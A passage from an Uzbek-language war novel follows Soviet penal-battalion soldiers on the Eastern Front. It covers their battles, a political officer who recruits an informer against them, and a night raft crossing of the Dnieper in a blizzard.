ҳушёр бўл, бошингни кўтарма! Шу пайт тасодиф рўй берди. Тўпларнинг снарядларидан иккитаси нақ немис пулемётлари олдида портлаб тупроқ ва қорни девор қилиб осмонга кўтарди. - Рота-а! Олға-а!- Гречков бор овозида қичқириб пулемёт жойлашган нуқта томон тинимсиз ўқ узиб югурди. Унга қўшилиб ўнлаб одам бош кўтарди. Немис пулемёти томон кимдир граната ирғитди. Батальоннинг олдинги сафидагилар окопларга етиб олдилар. Трашшея бўйлаб икки томон бор-йўғи ўн беш минутлар тўқнашди-ю, кутилмаганда душман чекина бошлади. Немислар маррани ташлаб чиқдилар. Шимоли-шарқ тарафда, улардан анча узоқда жанг авжига чиққанди. Негадир бу томонда немислар тез чекинишди. - У тарафда Громов отряди бор, бутун батальонни ўша томонга буриш керак,- деди Субботин Канаевга,- тезда ротникларга етказинглар, менинг орқамдан бутун батальон олға юради. Буйруқ оғиздан оғизга ўтди, бир неча фурсатда бутун батальон бу буйруқни эшитди. Субботиннинг ўзи биринчи бўлиб окопдан чиқди-да, жангчиларни олдингга бошлади. Жанг шиддати бутун линия бўйлаб ўнг томонга сурилди. Қаттиқ ҳужумга учраган душман қочиб борарди. Икки чақиримларча югурганларидан кейин яна окопларга дуч келишди. Бу окоплар ўнг ва чап томонларга чўзилиб кетган, чамаси, душманнинг иккинчи позицияси эди. Шу ерга келганда комбат батальонни тўхтатди. Сабаби, олдинда гулдираб танклар кўринди. Орқадан ҳам ўзимизнинг танклар кела бошлади. Аммо танклар жанги узоқ чўзилмади. Душман танклари ҳам, бизникилар ҳам олдинга юришга қийналарди.Танклар кутилмаганда қор ўпқонига тушиб кетар, айримлари ботиб қоларди. Бир неча муддат танклар отишмаси бўлди-ю, немис танклари келган излари бўйлаб ортга тислана бошлади. Ўзимизникилар ҳам батальон эгаллаган маррага етиб келолмади. Субботин ротникларга бутун траншея бўйлаб мудофага туришни буюрди. Беш-олти чақирим жойда роталар тақсимланди. Тезда алоқачилар алоқани тиклаганларидан кейин дивизия штабидан буйруқ бўлди. Энди батальон шу маррани маҳкам тутиши ва бир қадам ҳам ортга чекинмаслиги керак эди. Улар босиб ўтиб кетган биринчи линияга дарров тозалов отряди келиб жойлашибди. Икки соатдан кейин немислар ҳужумга ташланди. Матонат билан ҳужум қайтарилди. Яна икки соат ўтиб галдаги ҳужумни ҳам қайтаришга тўғри келди. Бу сафарги ҳужумлар танкларсиз бўлгани учун аввалгиларидан сал кучсиз эди-ю, аммо батальон ҳам тўкилиб қолганди. Уч юзга яқин одам қолган, ярадорлар кўп, ўқ-дори ҳам тугаб борарди. Комбат тезда штабдан ёрдам сўради. У ёқдан кечаси билан ўқ-дори етказиб беришга ваъда бердилар. Душман икки-уч ҳужум қилиб натижа чиқаролмаганидан кейин артиллериясини ишга солди. Артиллерия ўти босилганидан кейин миномётлар ишга тушди. Портлашлар авжига чиқди. Миномётларнинг чийиллаши асабларни эговлаб ташларди. Нуриддин ўзига пана жой излар у ёқ- бу ёққа юриб кўрди. Қаерга борса, шу ерга мина тушаётгандай бўлаверди. Эловраб кўзи ДЗОТга тушди. У ўзини шу томон олди. Шунча портлашлар бўлса ҳам ДЗОТнинг усти бутун мина тушса чидаб берадигандай эди. Немисларнинг иши пишиқ, ҳамма ишни мустаҳкам қилади. У ичкаридагиларга қаради. Биров уни қўли билан имлади. Бу Вадим эди. - Шу ерда жон сақлаймиз, кир бу ёққа. Торгина жойда ўндан ортиқ одам. У Азларни излади, лекин тополмади. - Азларни кўрдингми?- сўради Вадимдан. - Келиб қолар. балки- жавоб берди у. Нуриддин ортига қайтди. Қоқиниб-сурилиб югурди. Анча югургандан кейин "Азла-а-ар!" деб бақирди. Уч-тўрт марта чақирганидан сўнг биров овоз берди. Нуриддин овоз келган тарафга юрди. Ўн қадамча босувдики, "Нуриддин!" деди биров. Борса, окоп устига шпаллар қўйилиб устига тупроқ ташланган жойда Азлар ўтирибди. - Нима қилиб ўтирибсан бу ерда? - Бунинг устига мина тушса ҳам зиён етмайди, шу ерда ўтирамиз. - Анови ерда ДЗОТ бор экан, кўпчилик ўша ерда. Бу ерда кечаси музлаб қоламиз, юр,- ўртоғини ундади Нуриддин. - Манови чийиллашлар босилсин, кейин борамиз. Нуриддин унинг ёнига ўтирди. - Совқотдингми?- сўради у. - Ҳозирча йўқ, лекин кечаси қаттиқ совуқ бўлади. Ҳаво очиқ,- жавоб берди Азлар. Иккови бироз жим қолганларидан кейин Азлар Нуриддиннинг оёғига қаради. Унинг ўнг пой этиги оғзи очилиб пайтаваси кўриниб турарди. - Сен шу ерда ўтириб тур, мен ҳозир келаман, ҳеч қаёққа жилма,- Азлар милтиғини қўйиб окоп ичида эмаклаб кетди. Нуриддин унинг ортидан оғиз очишга ҳам улгурмади. Бир ўзи дўсти кетган томонга жавдираб ўтираверди. Ярим соатлардан кейин Азлар қайтди. Қўлида икки жуфт этик, анчагина латта-путта. - Буни кий,- Нуриддиннинг олдига бир жуфт этик ва бир ўрам пайтава ташлади. - Ўликлардан ечиб олдингми?- сўради Нуриддин унга ёвқараш қилиб. - Немисларнинг ўзлари беришди. " Бизга энди керак эмас, сув ўтказмайди, сизлар кийиб юринглар, Берлингача етволасизлар", дейишди. Нуриддин индамай хўмрайиб ўтираверганди, Азлар шартта унинг бир пой этигини тортиб ечиб олди. - Ирганмасддан кий буни. Оёғингни совуқ урса, сенга ёрдам берадиган одам йўқ, ўзингни ўзинг асра. У ўтириб ўзи ҳам этигини ечди. Пайтава жиққа хўл, оёқлари қип-қизил бўлиб кетганди. Нуриддиннинг оёқлари ҳам уникидан кам ахволда эмас. Олиб келган пайтаванинг бири билан оёғини обдон артиб Нуриддинга узатди. - Ма, бўл тез, сен ҳам оёғингни артиб қурит, шерикларнинг ёнига кетамиз. Иккови ҳам этикларни кийиб ўринларидан турувдиларки, орқа томондан биров окопга сирғалиб тушди. Бу Кружилин эди. - Ҳа, босмачилар шу ердамисизлар? - Нима дединг?!- деди Азлар унга ўгирилиб. - Ҳазиллашдим, ҳазиллашдим. Сизларни эркалаб шундай дедим,- Кружилин иккала қўлини кўтариб тиржайди. - Агар оғзингдан яна битта ножўя сўз чиқса, отиб ташлайман. Сен ўзинг қаерда эдинг? Нимага орқадан энди келяпсан, ифлос?!- дўлайди Азлар. Нуриддин дўстининг енгидан ушлаб қолди. - Ўзингни бос, Азлар, бу билан тенг бўлма. - Қаерда бўлардим, ҳамма қатори ҳужумда эдим. Ўқ-дори излар ўлган немисларнинг ёнини кавладим,- ўзини оқлади Кружилин. - Ҳужум пайтида ким билан эдинг?! Ким гувоҳ бўлади жанг қилганингга?! - Қандай гувоҳ? Ёнимда одамлар бор эди. - Ким масалан?- Азлар унинг тумшуғига тирғалди. - Улар ҳалок бўлишди. - Юр, Азлар, кетдик. Совқотдим, кечки совуқ тушди,- Нуриддин дўстининг енгидан ушлаб тортиб кетди. Орқаларидан ғудраниб Кружилин эргашди. Эни икки ярим, узунаси уч метрли хонага қисилиб кирдилар. - Нурикни бу ёққа ўтказиб юборинглар,- тўридан Фадеевнинг йўғон овози эшитилди. Бироздан кейин Петрушин кириб бу ерда кимлар борлигини белгилаб чиқиб кетди. - Бугун энди душман ҳужум қилмайди. Бемалол дам олишимиз мумкин, лекин кечаси ҳушёр бўлишимиз керак, тўсатдан ўрмалаб келиб қолишлари ҳам мумкин,- деди биров. - Хавотир олма, бу совуқда немис инидан чиқмайди,- таъкидлади Фадеев. Ҳаммалари асаларидек жипс бўлиб ўтирдилар. Бу кун энг оғир кунлардан бири бўлганди. ХХХ Тун ярмидан ўтганда Гречков ротаси оёққа турди. Ўнг томондаги даладан аста-аста булар томон бир тўда одам келмоқда. Қордек оппоқ кийинганлиги учун уларни дастлаб қараганда илғаб олиш қийин бўлса ҳам, кимдир пайқаб қолганди. Жангга шайланиб кутиб турдилар. Келаётганлар икки юз метрлар қолганда тўхташди. Сўнг иккитаси ажралиб чиқиб, қолганлари қорга ётиб олишди. - Ҳеч ким ўқ узмасин, булар ўзимизникилар бўлиши керак,- огоҳлантирди Гречков. Келаётганларнинг иккови бироз яқинлашганда Гречков баланд овозда сўради: - Ким келаётган? Наригилар тўхташди. - Ўзинглар кимсизлар? - Жарима батальонимиз. Келаётганларнинг бири ортга қайтди, бири олдинга юрди... Кўп ўтмай Громов отряди етиб келди. Отряддан ўн бир киши ҳалок бўлибди, қолганлар саломат. Гречков Громовни дарҳол комбатнинг олдига бошлади. - Тезда отрядни овқатлантиринглар, нима топсанглар беринглар,- буюрди комбат,- сен эса ўтириб манови консервани еб ол, немислардан ўлжа, кейин бафуржа гаплашамиз. Комбат Гречков билан гаплаша бошлади. Қачон Громов қорнини тўйдириб унга қарагач, сўради: - У ёқда нималар бўлди? Громовнинг айтишича, улар нон пиширадиган корхона деб билаган нарса бутунлай бошқа нарса экан. - Биз у ерга ҳужум қилганимизда улкан палаткаларнинг бири портлаб кетди. У немисларнинг ёқилғи сақлайдиган, ниқобланган цистерналари бўлиб чиқди. Учтаси бир-бирига илашиб портлади, тўртинчисини ҳам бир амалладик. Униси, чамамда, ўқ-дори омбори бўлса керак. Портлашдан кейин орқа томонда қолдик. Ортга қайтдик, лекин йўлдан адашдик. Таваккал деб бу томонга келаётгандик, адашмабмиз. - Сизлар бутун танк дивизиясини тўхтатиб қолдинглар, баракалла. Душманни ортга чекинтиришимизда сизларнинг хизматингиз алоҳида бўлди,- уни қутлади Субботин. - Немисларнинг нима учун бор кучи билан ҳужум қилмаганининг сабаби бу ёқда экан-да,- сўз қотди Гречков. - Демак, душман таъминотдан узилибди. Мен тезда штабга хабар қилай,- комбат алоқачига имо қилди. - Биринчи, биринчи, тўртинчи сизни алоқага чақиряпти,- алоқачи аппаратни чуқилай бошлади. ХХХ Туни билан ибодат қилиб чиққан Шамсиддин тоға тонгга яқин мизғиб қолди. Ярим соатгина ухлаган бўлса ҳам ажойиб тушлар кўрди. Бомдодни ўқиб нонуштага чиққанда Настяга тайинлади: - Қизим, бугун эрингга албатта хат ёзгин. У анча катта одам бўлиб қолди, менга аён бўлди. Иложини топса, Нуриддинни кўздан қочирмасин. Унинг бошида бир мушкулот бор, аммо қандай мушкулотлигини билмайман. Яна аён бўлдики, урушда шу бугун жуда катта ўзгариш бўлади. Ё уруш тўхтайди, ё немис бошқа томонга қараб от солдиради. - Ажаб эмас, уруш тўхтаса. Ўғлингиз келарди, эрим ҳам биз билан дийдор кўришарди. Дуо қилинг, ота, яна "суф-суф" ҳам қилинг, душман тезроқ енгилсин. - Дуо қиляпман, қизим, дуо қиляпман. Кеча-ю кундуз дуодаман. Бизга ўхшаган қанча-қанча ота-оналар дуо қилишяпти. Ажаб эмаски, дуоларимиз ижобат бўлиб кетса. Настя бугун эрига хат ёзиб Нуриддиндан хабар олишни тайинлашга чол-кампирга сўз бериб ишга жўнади. Ўғлининг юзидан ўпиб хайрлашар экан унга уқтирди: - Бобонгдан " менга дуо қилинг, дадамга дуо қилинг", деб сўрагин. Намоз ўқиётганда ёнида ўтирсанг, дуо қилиш эсидан чиқмайди. Чол-кампир унинг гапидан кулдилар. ХХХ Йигирма кунлар ўтгач, дивизия сиёсий бўлимининг бошлиғи майор Пирогов хотинидан келган хатни ўқиб ўтирар экан ҳайратда эди. Настя ўша чолнинг " эринг катта ишга кўтарилди" деганидан бошлаб урушда бугун катта бурилиш бўлишини ҳам, ўғлининг бошида бир муаммо борлиги ҳақида ҳам батафсил ёзган, қўлидан келса, ёрдам беришини сўраганди. " У сенинг урушдан соғ-саломат чиқишингни ва катта одам бўлишингни башорат қилди" дерди Настя. Майор хат ёзилган санага қайта-қайта қарар, ўйга толарди. Бу чол қандай одам экан? Айнан ўша куни Сталинградда фельдмаршал Паульс қўмондонлигидаги армия таслим бўлишини қаёқдан билди? Ўзининг унвони кўтарилганини-чи? Ахир, бу ҳақда Настяга ҳали ёзмовди-ку. Ўғлининг бошидаги муаммо аниқ. У жарима батальонида. Бундай кароматнинг илмий исботи бормикин? Настя хатида бизнинг ва сенинг саломат юришимиз шу одамнинг дуоси шарофатидан деб таъкидларди. Пирогов ўтириб хат ёзди. Ўша одамнинг барча гапи тўғри чиққанини айтди. Ўғлидан хавотир олмаслигини, унинг мушкулоти урушда экалигини, қўлидан келганча унга ёрдам беришга ваъда берди. Ваъда берди-ю, лекин Нуриддинни жарима батальонидан тортиб ололмаслигини биларди. Аммо нима бўлса ҳам, унга бир куни катта ёрдам қилишни кўнглига тугиб қўйди. ХХХ Эрталабдан буён кўринмай қолган Азлар тушга яқин Нуриддинни излаб топди. - Қаёқда қолиб кетдинг? - Гречков билан штабга бориб келдим. Таъминотга кетишаётган экан, мен ҳам бир айланиб келай деб машинага чиқволдим. Сенга зўр хушхабар олиб келдим. Мановини қара. Азлар ёнидан тўрт букланган қоғоз олиб ёйди. Бу фронт газетаси эди. - Буни қара,- у газетадаги суратни кўрсатди,- бу - сенинг юртдошинг, ўқи. Суратда ёшгина йигит кулиб турарди. - Ўзбекми? Ёш экан, ҳали ўн саккизга ҳам тўлмаган, шекилли,- Нуриддин газетани олиб суратга тикилди. - Ҳа, шу ёшгина йигитча немисларнинг нақ йигирма тўртта генералини асир қилиб олиб чиқибди. Бир ўзи, Сталинградда. Исми шарифи Хуррам Ашуров! Ўқи. Нуриддин газетадаги расмга узоқ тикилиб турди. Худди ўз миллатдошини кўргандай кўзларига ёш тепиб чиқди. - Ма, ўзинг ўқиб яхшилаб тушунтириб бер,- у газетани Азларга узатди. Азларнинг қўлидага газетани кўриб дарров уч-тўртта одам йиғилди. Азлар мақолани баланд овозда ўқий бошлади. Ҳамма диққат билан қулоқ солди. - Баракалла,- деди Фадеев,- энди бу йигитчага Совет Иттифоқи Қаҳрамони унвони берилади. - Бу бола биронтаси қўлга туширганларни олиб бориб топширган бўлса керак. Келиб-келиб битта ўзбек қўлга туширадими, яна йигирма тўртта генерални-я? Бу қўланса гап Кружилингагина хос эди. - Ўчир овозингни, бадбўй одам!- ўшқирди Фадеев,- Нимага ўзбекларни пастга урасан? Агар Ўзбекистон бўлмаса, бу урушда ғалаба қозонолмаслигимизни биласанми?! Шу совуқда ҳаммамиз очдан ўлиб кетамиз. Ўзбек оғзидагини бировга берса берадики, бировнинг ҳақига кўз олайтирмайди! Биров қўлга туширганмиш, Ҳе... - Игорь, сен ўзи сал анақароқмисан? Эҳтимол, у ёғингга битта, бу ёғингга битта туширсам, шаригинг жойига тушиб қолар,- Дубо қўлидаги милтиғини Азларга бериб ҳезланди. - Мен нима дедим сизларга? Шунчаки гап-да,- Кружилин ортига тисланиб нарёққа кетди. - Сталинградда улкан бурилиш бўлибди. Урушнинг тақдири ҳал бўлди деяверинглар, бизнинг фойдамизга,- Петрушиннинг бу гапи ҳаммаларининг кўнглига чироқ ёқди. Гўё у " эрта-индин уруш тугайди, ҳамманглар уйга кетасизлар" дегандай бўлди. Фронт газетасининг бу сони бутунлай Сталинград жангига бағишланганди. Қачонлардан буён газета ўқимаган одамлар барча мақолаларни ютоқиб ўқиб чиқдилар. Газета қўлдан қўлга, взводдан взводга, ротадан ротага ўтди. ХХХ Хандақ устига ходалар ташланиб, устидан тупроқ ташланган ертўла. У икки хонадан иборат. Ичкариги хонада майор Пирогов қилинадиган ишлар режасини тузиб ўтирар, ҳар замонда "уф" тортиб қўярди. Ҳадеб чекаверганидан хона тутун ва ачимсиқ ҳидга тўлиб кетган. Қанча-қанча одамларнинг шахсий ҳужжатлари бор бу ерда. Барчасини камоли диққат билан ўрганиб чиқиш зарур. Бири қўрқоқлик қилган, бири асирликдан қочиб ўтган, бири сиёсатга тўғри келмайдиган гап айтган - ҳаммасини бирма-бир элакдан ўтказиш керак. Иш кўп. Боши ғовлаб, ташқари чиқиб ҳаво алмаштириб келиш учун ўрнидан турди. Даҳлизга чиқса, ёрдамчиси капитан Рубцов бир одам билан гаплашиб ўтирибди. Ранги заҳилроқ, кўзлари аланг-жаланг бу жангчининг уст-бошига қараганда сўроқ қилинаётганларнинг бири бўлса керак. Капитан уни кўриб ўрнидан туриб честь берди. - Ўтир, ўтир, давом эттиравер,- деди Пирогов, сўнг сўради:- қочоқларданми буям? - Йўқ, ўртоқ майор, жарима батальонидан келибди. Айтишича, у ерда бир жангчи ҳар хил диний расм-русумлар қилармиш, яна бир нечтаси антисовет гапларни гапиришармиш. - Ў-ҳў, ажойиб гап-ку. Бизбоп материал чиқади, шекилли. - Мен ҳам шунга қизиқиб ўтирибман, ўртоқ майор. - Ҳа, айтганча, кечаги жангдан қочган бешта жангчининг иши нима бўлди? - Жангдан қочмаганмиз, ўқ-дори учун келганмиз деб туриб олишяпти. Айбловларга қўл қўйишдан бош тортишди. - Рота командирини чақириб гаплашдингми? - Ҳа, рота командири ўқ-дори олиб келиш учун ўзим юборганман деб кўрсатма берди. - Улар жангдан қочадиганларга ўхшамайди. Сенингча қандай? - Менимча ҳам шунақага ўхшаяпти. - Уларнинг ишини ёп-да, роталарига жўнатиб юбор. Ҳозир ҳар бир жангчи ҳисобда. - Хўп бўлади, ўртоқ майор. - Бу жангчи билан эса ўзим шуғулланаман. Қизиқ гаплар чиқиб қолади, шекилли. Қани, бу ёққа юр-чи,- Пирогов жаримачини ўзининг хонаси томон имлади. - Ўтир,- деди хонага киришгач,- бир бошдан ҳеч нарсани қолдирмай гапириб бер, ҳа, айтганча, исми шарифинг ким? - Игорь Всеволодевич Кружилин. Жарима батальонининг биринчи рота биринчи взводиданман. - Яхши, Игорь Всеволодевич, энди гапир. Кружилиннинг айтишича, взводда бир ўзбек жангчиси бор экан. У динга берилган бўлиб, ҳатто, бир неча кароматлар ҳам кўрсатганмиш. Кўпчилик унинг ёнига бирлашиб олибди. Фадеев, Мақсудов, Дубов деганлари унинг ёнидан жилишмас экан. Ҳатто взвод командири Петрушин, рота командири Гречковлар ҳам унинг таъсирига тушиб қолишибди. Ҳар куни улар Сталин ва бошқа обрўли қўмондонларни ғийбат қилишиб, бўхтон гапларни тарғиб қилишаётганмиш. Айниқса, Дубов ва Фадеевларни зудлик билан қўлга олишмаса, улар зўрлик билан бошқаларни ҳам йўлдан уришлари тайин эмиш. Майор унинг гапини диққат билан эшитди. - Сен вақтида бизни огоҳлантирдинг, яхши. Бундай ишни узоқ ўрганиш керак. Материалларни йиғиб бориб охирида илдизи билан суғуриб ташлаш лозим. Бу ерга келиб тўғри иш қилибсан. Бундан кейин сен менинг кўзим ва қулоғим бўласан. Ҳар ўн беш кунда ёнимга келасан. Шахсан ўзимга учрайсан. Шахсан ўзим сендан хисобот оламан. Ҳозир эса барча айтганларингни ёз,- Пирогов столга уч-тўртта қоғоз қўйди,- бемалол ўтириб, батафсил ёз. Мен ташқарида чекиб тураман. Ярим соатлардан кейин қайтиб кирганда Кружилин гапларини ёзиб бўлиб уни кутиб ўтирарди. - Мана энди ниқобланган душманнинг думини босдик. Энди унинг бўғзидан олиш фурсатини пойлаймиз. Бу ишда сенинг хизматларинг алоҳида бўладиган бўлди. Бу ерга келганингни биров биладими? - Йўқ. - Яхши. Бировга сир айтма. Қайта уқтираман: шахсан ўзимга учрайсан. Мен уларга мана, алоҳида иш очаман,- Пирогов битта жилд олиб унга Кружилиннинг ёзганларини солди,- энди бор, ўн беш кундан кейин кутаман. Иложи борича кўпроқ маълумот олиб кел. Буларнинг ишини қанча тез тугатсак, сенинг ҳуқуқларинг шунча тез тикланади. Кружилин чиқиб кетди. Пирогов эса ўйланиб қолди. Пича ўтиргандан кейин ўзига ўзи деди: - Ўша чол айтган муаммо шу, шекилли. ХХХ "Темирни қизиғида бос" деганларидай бутун армия бир ҳужум қилди-ю, душманни ўзини ўнглашга қўймай Смоленьск томонга чекинишга мажбур қилди. Яна олдинга интилиш ҳақида буйруқ келди, аммо душман чекинаётиб Днепр дарёси бўйларини миналаштиришга улгурди, шунингдек, дарёдаги кўприклар ҳам портлатилганди. Узоқдан дарё кўриниб туради, ундан ўтиш учун эса алоҳида тайёргарлик лозим. Дарёнинг ўртаси музламаган, музлаган жойларда ҳам муз қалин эмас. Ана шу масала бутун армиянинг йўлини тўсиб қолди. Кўприк қуриш учун аввало, мина майдонини босиб ўтиш, ундан кейин дарёга чиқиш керак, аммо немислар дарё қирғоғини ниҳоятда кучли назорат қилади. Шунга қарамай, қандай қилиб бўлмасин Днепрни кечиб ўтиш вазифаси батальонга юклатилди. - Бу вазифани неча кунда уддалайсан?- сўради генерал Волохов Субботиндан. - Қўмондонлик қанча муддат берган?- саволга савол билан жавоб берди комбат. - Узоғи билан бир ҳафта. - Аввал вазиятни ўрганиш керак. Дарёга етиб боришнинг ўзи бўлмайди. - Қандай қилиб бўлса ҳам бу вазифани уддалашимиз керак, бўлмаса, калламиз кетади. Уддалаш шарт,- таъкидлади генерал. Субботин штабдан бутунлай тушкун кайфиятда чиқди. У келибоқ дардини рота командирларига айтди. Улар билан бирга траншеяга чиқиб дарёгача бўлган жойни чамалади. Уч юз метрлар чамаси жой текислик, миналаштирилган, ана шу ердан батальонни олиб ўтиш керак. - Дарё бўйи миналаштирилмаганмикин?- дурбинда кузатар экан сўради Канаев. - Менимча, йўқ,- деди Субботин,- аммо у ерга етиб олишни айт. Етиб борган тақдиримизда ҳам душманга тайёр нишон бўламиз қоламиз. - Етиб борибоқ дарёдан сузиб ўтиб душманга ташланишимиз лозим,- фикрини айтди Корзун. - Тўри-куя, дарёга етишни айт. - Сапёрлар бизга ёрдам берадими?- комбатга қаради Гречков. Ёрдам беришади-ю, бу қорда улар мина тополмайди, қорнинг қалинлиги тизза бўйи. - Оғир ва қалин темир бочка ясатамиз, узоқдан ёғочлар билан туртамиз, шундай қилиб йўлак очиш мумкин,- Канаев Субботинга қаради. Комбат унинг фикрини тушунди. - Ўша бочкалар қорни мина бор жойгача боса олармикин? - Тишли қилдирамиз. Кечалари аста-аста итариб бораверамиз. - Яхши, мен ҳозироқ сапёрлар ротаси билан гаплашаман. Сизлар айтилган бочкани ясай оладиган уста топинглар. Комбат ортига қайтиб, блиндаж томон кетди. Ротниклар уста топиш учун роталарга тарқалдилар. Бир соатдан кейин блиндажда тўрт жангчига Субботин қандай мақсадда бочка ясаш кераклигини тушунтирарди. Улар мақсадни англаганларидан кейин чиқиб кетишди. Эртасига эрталаб Канаев ротаси жойлашган маррада ўзлари ясаган мосламани намойиш қилдилар. Бу чор атрофи ярим қулочли темир тиш билан ўралган, узунлиги икки метрли ғўла эди. Уни ёғоч билан итариб думалатиб кўрдилар. Қорда думалаши қийин, бироқ бир амалласа бўларди. - Шундан яна тўртта ясанглар, иложи борича узоқдан думалатадиган бўлсин,- деди Субботин,- буни эса ҳозироқ синовдан ўтказамиз. Икки жангчи узунлиги тўрт қулочли биттадан ёғоч олдилар-да, мосламани итариб олдинга сура бошладилар. Уни суриб бориш жуда ноқулай, жангчилар ҳам ёнма-ён ётиб сурилишлари қийин, шунга қарамай бошқа чора йўқ эди. Эллик метрлар юргандан кейин комбат ортга қайтишларини буюрди. Ёғоч ва ғўлани жойида қўйиб иккови жангчи ортига қайтди. - Фақат кечаси навбатма-навбат шуғулланамиз, ўзим назорат қиламан. Бешта ғўладан биттаси қирғоққа етиб борса ҳам омадимиз, қирғоққа йўлак очиб оламиз. "Ҳужумга" деб буюришларидан олдин улгуришимиз зарур,- уқтирди Субботин. Кечқурун беш жойдан ана шундай ғўлалар йўлга тушди. Олтмиш метрлар юргач, ўртадаги ғўла минага дуч келиб портлади. Иккинчи ғўла ундан беш метрча олдинга ўтди, холос, у ҳам кўкка учди. У томондан эса душман артиллерияси ишга тушди. Бироқ уч-тўрт марта отишгандан кейин тўхтади. Уч кундан кейин биттагина ғўлани қирғоққача олиб боришга муваффақ бўлдилар. Канаев ротасининг икки жангчиси куни бўйи ўша ерда қолиб кетишга мажбур бўлди. Улар ётган жойларида чуқур қазиб олаётганларини Субботин дурбинда кузатиб турди. - Буйруқ келиши билан шу издан бутун батальонни олиб ўтишимиз керак,- деди у Канаевга. - Бу йўлга сиғмаймиз. Бир кун олдин дарё бўйида позиция тутишимиз керак. Дарёнинг ўтиш учун қулай жойини ҳам ўша ерда белгилаймиз,- маслаҳат солди Канаев. - Бу гапинг ҳам тўғри. Аммо душман бизни қирғоққа яқинлаштирармикин? - Фақат кечаси бу ишни амалга оширамиз. Ўнта-ўнтадан жангчиларни жўнатаверамиз. Канаевнинг бу гапи комбатга ҳам, ротникларга ҳам маъқул тушди. Кейинги уч кеча давомида батальон дарё қирғоғига ўрнашиб олди. Мана энди нариги бетга сузиб ўтиш масаласи кўндаланг бўлди. Разведка маълумотларига кўра, улардан икки чақирим чапроқда дарёнинг кўприги бор. Бироқ кўприк шу даражада қаттиқ қўриқланадики, унга яқинлашишнинг имкони йўқ. Агар шу кўприк қўлга киритилса, бутун армияга йўл очилади. Бу ишни қандай бўлмасин уддасидан чиқмоқ керак. Аммо қандай қилиб? Бунинг устига дивизия штабидан эртага дарёни кечиб ўтиш ҳақида буйруқ келди. Буйруқ - буйруқ. Уни инкор этишнинг иложи йўқ. Командирлар узоқ мулоҳаза қилдилар. Охири, дарёнинг музи кўпроқ жойини белгилашди. Дарё катта бўлгани учун ўртаси музламаган, сувдан енгил буғ чиқиб ётарди. Субботиннинг буйруғи билан наридан бери соллар ясалди. Тўртта-бешта ходалар бирлаштирилиб ясалган бу солларда сузиб ўтишнинг ўзи бўлмасди. Комбат таваккал қилишга қарор қилди. ХХХ Изғирин. Совуқ. Қаттиқ шамол аралаш қор бўрон бошланди. Гречков бутун ротани яна ярим соатдан кейин, яъни қоронғи тушиши билан кечув бошланиши ҳақида огоҳлантирди. Тизза бўйи келадиган, четидаги қор билан ҳисоблаганда бир ярим метрли окопда ўтирган Нуриддин Азларни ёнига чорлади. Кўзларини юмиб олиб узун бир сурани ўқиди. Кейин узоқ дуо қилди. Яна тиловат қилди. Сўнг ўзига, Азларга, уларнинг қатига келиб ўтирган Фадеевга дам урди. Яна дуо қилди. Азлар қараса, Фадеев ҳам уларга ўхшаб қўлларини очиб ўтирибди. Кулгиси келди, лабларини тишлади. - Нимага куласан?- билиб қолиб қовоғини солди Вадим,- мен ҳам худога ишонаман. Дининг бошқа бўгани билан яратган битта-ку. Сизлар ундан нажот сўраяпсизлар, мен ҳам қўшиляпман. - Йўқ, йўқ, сенинг устингдан кулмаяпман, аксинча, хурсанд бўлганимдан,- ўзини оқлади Азлар. - Ҳаммага дуо қилдим. Мусулмонми, христианми- ким бўлишидан қатъий назар ҳаммамизни сақлашини ўтиндим. Худога ишонганинг - кўнглинг софлиги. Барчамиз унинг ожиз бандаларимиз. Нуриддин Вадимга қараб жилмайиб қўйди. У эса бунинг елкасига туртди. - Рота-а, солларга!- Гречковнинг овози эшитилди. Учови ҳам ўринларидан турдилар. Қорбўрон юзларга урилди, бурунларни чимчилади, кўзларни қўл билан тўсишга мажбур қилди. - Солга чиққандан кейин ҳеч ким овоз чиқармайди!- буюрди Гречков. Бу қаҳратонда дарёни сузиб ўтишнинг ўзи даҳшат эди. Учови бориб битта солга чиқдилар. Ўнлаб одам чиқиб олган ходалар сувга ботиб-ботиб борар, унсизгина узун ёғочлар билан солни итаришди. У оғир силжиди. Оёқлар тўпиққача сувга ботди. Қўллар тараша бўлиб қотиб қолди. Аскарлар иложи борича товуш чиқармай соҳилга яқинлашиб олишни исташарди. Увиллаётган бўрон буларнинг ҳам шўри, ҳам омади эди. Бу бўронда музлаб қолиш ҳеч нарса эмас, сувга тушдинг - тамом. Омад шу эдики, душман назорати сусайганди. Чорак соат деганда олдинги соллар қирғоққа урилди. Негадир душман томондан бирон ҳаракат сезилмасди. Хавотирга ўрин қолдирмай, учови тушган сол ҳам соҳилга эсон-омон етиб борди. - Оёғингга сув ўтдими?- пичирлади Азлар. - Билмадим, совуқни сезмаяпман,- деди Нуриддин. - Немиснинг этиги пишиқ бўлади, сув ўтказмайди. Дарёнинг бу бети дарахтзор бўлиб, немис позицияси кўринмасди. Комбат батальонни дарахтлар оралаб бошлаб кетди. Нақ юз эллик метр юрганларидан кейин у тўхтаб қўлини кўтарди. Ротникларга бор қуроллардан бараварига ўт очиб ташланишларини уқтириб яна олдинга юрди. Яна эллик метрча юриб тўхтади-да, қўлини кўтарди, сўнг олдинга югуришларини ишора қилди. Душман бор-йўғи ўттиз-қирқ метрлар нарида эди. Тўсатдан қилинган ҳужум душманни эсанкиратиб қўйди, автомат, милтиқлар отилар, гранаталар портлар, ҳамма ўзини душман устига ташлади. Пулемёт нуқталари бир зумда яксон қилинди. Ярим соатда окоп эгалланди. Беш юз метрлик масофа қўлга киритилди. Комбат шунда ҳам жангчиларни тўхтатмади. Беш қадам нари кўринмайдиган қорбўронда яна олдинга интилдилар. Иккинчи линияда артиллерия батареялари жойлашганди. Ана шу ерга етиб бордилар. Бу ерда ҳам жанг узоқ давом этмади. Душманнинг ўн олти тўпи қўлга киритилди. Бу ерни эгаллаганларидан кейин тўплар ортга бурилди. Талофатсиз қўлга киритилган бу қуроллар катта хазина эди. Биринчи линияда ҳам, иккинчи линияда ҳам катта ўқ-дори заҳираси қўлга киритилди. Яна муҳими шу эдики, бу ерда озиқ-овқат заҳираси ҳам бор эди. Тириклик манбаи. Батальоннинг тақдири шунга боғлиқ, ахир. Тонгга яқин бўрон шунақанги кучайдики, бош кўтаришнинг иложи бўлмай қолди. Шамол учираман дейди. Бу бўронда душман ҳужум қилолмаслиги аниқ бўлиб қолди. Шундан фойдаланиб батальон маҳкам ўрнашиб олди. Йўқотишлар ҳам анчагина эди. Олтмиш нафарга яқин одам сузиб ўтиш пайтида, ўттиздан ортиғи жангда йўқотилганди. Нуриддин билан Азлар, Вадим учови тезда ўзларига бошпана топдилар. Окоп ичида жойлашган кичкинагина, атрофи ва усти ёпиқ жойда етти киши 